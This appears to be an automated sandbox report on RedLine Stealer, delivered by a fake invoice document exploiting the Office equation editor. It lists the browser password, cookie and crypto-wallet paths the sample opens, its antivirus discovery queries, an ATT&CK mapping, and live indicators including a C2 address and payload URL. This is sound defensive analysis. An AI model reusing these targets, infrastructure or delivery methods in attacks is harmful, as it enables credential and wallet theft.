Code function: 10_2_00233B4C GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

10_2_00233B4C

Source: C:\Users\user\AppData\Roaming\notorious53209.exe

Code function: 10_2_00234A35 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,

10_2_00234A35

Source: C:\Users\user\AppData\Roaming\notorious53209.exe

Code function: 10_2_00294EF5 mouse_event,

10_2_00294EF5

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\notorious53209.exe "C:\Users\user\AppData\Roaming\notorious53209.exe"			Jump to behavior
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\AppData\Roaming\notorious53209.exe"			Jump to behavior

Source: C:\Users\user\AppData\Roaming\notorious53209.exe

10_2_002881F7

Source: C:\Users\user\AppData\Roaming\notorious53209.exe

Code function: 10_2_00294C03 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

10_2_00294C03

Source: notorious53209.exe, 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: notorious53209.exe	Binary or memory string: Shell_TrayWnd

Source: C:\Users\user\AppData\Roaming\notorious53209.exe

Code function: 10_2_0025886B cpuid

10_2_0025886B

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation

Jump to behavior

Source: C:\Users\user\AppData\Roaming\notorious53209.exe

Code function: 10_2_002650D7 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

10_2_002650D7

Source: C:\Users\user\AppData\Roaming\notorious53209.exe

Code function: 10_2_00272230 GetUserNameW,

10_2_00272230

Source: C:\Users\user\AppData\Roaming\notorious53209.exe

Code function: 10_2_0026418A __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

10_2_0026418A

Source: C:\Users\user\AppData\Roaming\notorious53209.exe

Code function: 10_2_00234AFE GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

10_2_00234AFE

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: RegSvcs.exe, 0000000C.00000002.439171465.00000000008A3000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MSASCui.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 10.2.notorious53209.exe.170000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.notorious53209.exe.170000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.RegSvcs.exe.e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.395538045.0000000000170000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.439069013.00000000000E2000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.439295292.00000000020F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: notorious53209.exe PID: 3468, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 3536, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\atomic\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\	Jump to behavior

Source: notorious53209.exe	Binary or memory string: WIN_81
Source: notorious53209.exe	Binary or memory string: WIN_XP
Source: notorious53209.exe	Binary or memory string: WIN_XPe
Source: notorious53209.exe	Binary or memory string: WIN_VISTA
Source: notorious53209.exe	Binary or memory string: WIN_7
Source: notorious53209.exe	Binary or memory string: WIN_8
Source: notorious53209.exe, 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmp	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 5USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents			Jump to behavior

Source: Yara match	File source: 10.2.notorious53209.exe.170000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.notorious53209.exe.170000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.RegSvcs.exe.e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.395538045.0000000000170000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.439069013.00000000000E2000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: notorious53209.exe PID: 3468, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 3536, type: MEMORYSTR

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 10.2.notorious53209.exe.170000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.notorious53209.exe.170000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.RegSvcs.exe.e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.395538045.0000000000170000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.439069013.00000000000E2000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.439295292.00000000020F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: notorious53209.exe PID: 3468, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 3536, type: MEMORYSTR

Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_002A6596 socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,		10_2_002A6596
Source: C:\Users\user\AppData\Roaming\notorious53209.exe	Code function: 10_2_002A6A5A socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		10_2_002A6A5A

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	221 Windows Management Instrumentation	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	11 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 Native API	2 Valid Accounts	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	21 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	33 Exploitation for Client Execution	1 Windows Service	2 Valid Accounts	21 Obfuscated Files or Information	Security Account Manager	12 File and Directory Discovery	SMB/Windows Admin Shares	21 Input Capture	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	21 Access Token Manipulation	1 Software Packing	NTDS	228 System Information Discovery	Distributed Component Object Model	3 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Windows Service	1 DLL Side-Loading	LSA Secrets	46 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	212 Process Injection	1 Masquerading	Cached Domain Credentials	231 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Valid Accounts	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	231 Virtualization/Sandbox Evasion	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	21 Access Token Manipulation	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	212 Process Injection	Network Sniffing	1 Remote System Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Invoice LGMSCH0040924 Paid - EFT Remittance Advice and Receipt.docx.doc	37%	ReversingLabs	Document-Office.Exploit.CVE-2017-0199

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{CD326501-1350-4080-AA2C-AD93E1795262}.tmp	100%	Avira	EXP/CVE-2018-0798.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\ExtExport2[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\ExtExport2[1].exe	50%	ReversingLabs	Win32.Trojan.Strab
C:\Users\user\AppData\Roaming\notorious53209.exe	50%	ReversingLabs	Win32.Trojan.Strab

Source	Detection	Scanner	Label
http://ocsp.entrust.net03	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/envelope/	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://ocsp.entrust.net0D	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://crl.entrust.net/server1.crl0	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://secure.comodo.com/CPS0	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://crl.entrust.net/2048ca.crl0	0%	URL Reputation	safe
http://tempuri.org/	0%	Avira URL Cloud	safe
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/EnvironmentSettings	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/VerifyUpdateResponse	0%	Avira URL Cloud	safe
https://support.google.com/chrome/?p=plugin_flash	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/SetEnvironment	0%	Avira URL Cloud	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
http://ns.adobe.c/s	0%	Avira URL Cloud	safe
https://api.ip.sb/geoip	0%	Avira URL Cloud	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/SetEnvironmentResponse	0%	Avira URL Cloud	safe
https://api.ipify.orgcookies//settinString.Removeg	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/GetUpdates	0%	Avira URL Cloud	safe
https://ipinfo.io/ip%appdata%	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2004/08/addressing/fault	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/VerifyUpdate	0%	Avira URL Cloud	safe
https://support.google.com/chrome/?p=plugin_flashLR	0%	Avira URL Cloud	safe
185.38.142.10:7474	0%	Avira URL Cloud	safe
https://support.LR	0%	Avira URL Cloud	safe
http://185.38.142.10:7474	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/CheckConnectResponse	0%	Avira URL Cloud	safe
http://schemas.datacontract.org/2004/07/	0%	Avira URL Cloud	safe
http://tempuri.org/x	0%	Avira URL Cloud	safe
https://api.ip.sb/geoip%USERPEnvironmentROFILE%	0%	Avira URL Cloud	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
https://api.ip.sb	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/CheckConnect	0%	Avira URL Cloud	safe
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	0%	Avira URL Cloud	safe
https://www.google.com/favicon.ico	0%	Avira URL Cloud	safe
http://185.38.142.10:7474/	0%	Avira URL Cloud	safe
https://universalmovies.top/	100%	Avira URL Cloud	phishing
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2004/08/addressing	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/GetUpdatesResponse	0%	Avira URL Cloud	safe
https://universalmovies.top/notorious.doc	100%	Avira URL Cloud	malware
http://tempuri.org/Endpoint/EnvironmentSettingsResponse	0%	Avira URL Cloud	safe
http://185.38.142.10:7474t-	0%	Avira URL Cloud	safe
https://api.ipify.	0%	Avira URL Cloud	safe
http://ns.adobe.	0%	Avira URL Cloud	safe
https://api.ipify.orgcoo	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/soap/actor/next	0%	Avira URL Cloud	safe
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	Avira URL Cloud	safe
https://universalmovies.top/FB8Rj	100%	Avira URL Cloud	phishing

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
universalmovies.top	104.21.74.191	true	true		unknown
api.ip.sb	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
185.38.142.10:7474	true	Avira URL Cloud: safe	unknown
http://185.38.142.10:7474/	true	Avira URL Cloud: safe	unknown
https://universalmovies.top/notorious.doc	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	RegSvcs.exe, 0000000C.00000002.439295292.000000000230C000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439295292.0000000002218000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439295292.0000000002566000.00000004.00000800.00020000.00000000.sdmp, tmpD804.tmp.12.dr, tmp9D43.tmp.12.dr, tmp6274.tmp.12.dr, tmp27E3.tmp.12.dr, tmpD7E3.tmp.12.dr, tmp3D9E.tmp.12.dr, tmpB2E0.tmp.12.dr, tmpB2B0.tmp.12.dr, tmp784E.tmp.12.dr, tmpED42.tmp.12.dr, tmp780F.tmp.12.dr, tmpED81.tmp.12.dr	false	Avira URL Cloud: safe	unknown
http://ns.adobe.c/s	RegSvcs.exe, 0000000C.00000002.439977247.0000000004C8D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	RegSvcs.exe, 0000000C.00000002.439295292.000000000230C000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439295292.0000000002218000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439295292.0000000002566000.00000004.00000800.00020000.00000000.sdmp, tmpD804.tmp.12.dr, tmp9D43.tmp.12.dr, tmp6274.tmp.12.dr, tmp27E3.tmp.12.dr, tmpD7E3.tmp.12.dr, tmp3D9E.tmp.12.dr, tmpB2E0.tmp.12.dr, tmpB2B0.tmp.12.dr, tmp784E.tmp.12.dr, tmpED42.tmp.12.dr, tmp780F.tmp.12.dr, tmpED81.tmp.12.dr	false	Avira URL Cloud: safe	unknown
http://ocsp.entrust.net03	EQNEDT32.EXE, 00000009.00000003.391274570.00000000005F1000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.391505550.00000000005C3000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.391551132.00000000005F8000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000003.391282505.00000000005C3000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439171465.00000000008A3000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/EnvironmentSettings	RegSvcs.exe, 0000000C.00000002.439295292.00000000020A1000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439295292.00000000020F0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.ip.sb/geoip	RegSvcs.exe, 0000000C.00000002.439295292.00000000020F0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	RegSvcs.exe, 0000000C.00000002.439295292.00000000020F0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.google.com/chrome/?p=plugin_flash	RegSvcs.exe, 0000000C.00000002.439295292.0000000002131000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439295292.0000000002218000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439295292.0000000002566000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	EQNEDT32.EXE, 00000009.00000002.391505550.00000000005C3000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000003.391282505.00000000005C3000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439171465.00000000008A3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/	RegSvcs.exe, 0000000C.00000002.439295292.00000000020F0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.diginotar.nl/cps/pkioverheid0	EQNEDT32.EXE, 00000009.00000003.391274570.00000000005F1000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.391505550.00000000005C3000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.391551132.00000000005F8000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000003.391282505.00000000005C3000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439171465.00000000008A3000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/VerifyUpdateResponse	RegSvcs.exe, 0000000C.00000002.439295292.00000000020A1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/SetEnvironment	RegSvcs.exe, 0000000C.00000002.439295292.0000000002353000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439295292.00000000020A1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/SetEnvironmentResponse	RegSvcs.exe, 0000000C.00000002.439295292.00000000020A1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/GetUpdates	RegSvcs.exe, 0000000C.00000002.439295292.0000000002493000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439295292.00000000020A1000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439295292.00000000020F0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.ipify.orgcookies//settinString.Removeg	RegSvcs.exe, RegSvcs.exe, 0000000C.00000002.439069013.00000000000E2000.00000020.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.google.com/chrome/?p=plugin_flashLR	RegSvcs.exe, 0000000C.00000002.439295292.000000000249D000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439295292.0000000002218000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439295292.0000000002566000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/fault	RegSvcs.exe, 0000000C.00000002.439295292.00000000020A1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/VerifyUpdate	RegSvcs.exe, 0000000C.00000002.439295292.00000000020A1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.LR	RegSvcs.exe, 0000000C.00000002.439295292.000000000249D000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439295292.0000000002218000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439295292.0000000002566000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.entrust.net0D	EQNEDT32.EXE, 00000009.00000003.391274570.00000000005F1000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.391551132.00000000005F8000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439171465.00000000008A3000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	RegSvcs.exe, 0000000C.00000002.439295292.00000000020A1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ipinfo.io/ip%appdata%	RegSvcs.exe, RegSvcs.exe, 0000000C.00000002.439069013.00000000000E2000.00000020.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.38.142.10:7474	RegSvcs.exe, 0000000C.00000002.439295292.0000000002493000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439295292.0000000002353000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439295292.00000000020A1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.entrust.net/server1.crl0	EQNEDT32.EXE, 00000009.00000003.391274570.00000000005F1000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.391505550.00000000005C3000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.391551132.00000000005F8000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000003.391282505.00000000005C3000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 0000000C.00000002.439171465.00000000008A3000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	RegSvcs.exe, 0000000C.00000002.439295292.00000000020A1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/CheckConnectResponse	RegSvcs.exe, 0000000C.00000002.439295292.00000000020A1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.datacontract.org/2004/07/	RegSvcs.exe, 0000000C.00000002.439295292.0000000002353000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/x	RegSvcs.exe, 0000000C.00000002.439295292.0000000002493000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.ip.sb/geoip%USERPEnvironmentROFILE%	RegSvcs.exe, RegSvcs.exe, 0000000C.00000002.439069013.00000000000E2000.00000020.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.ip.sb	RegSvcs.exe, 0000000C.00000002.439295292.00000000020F0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
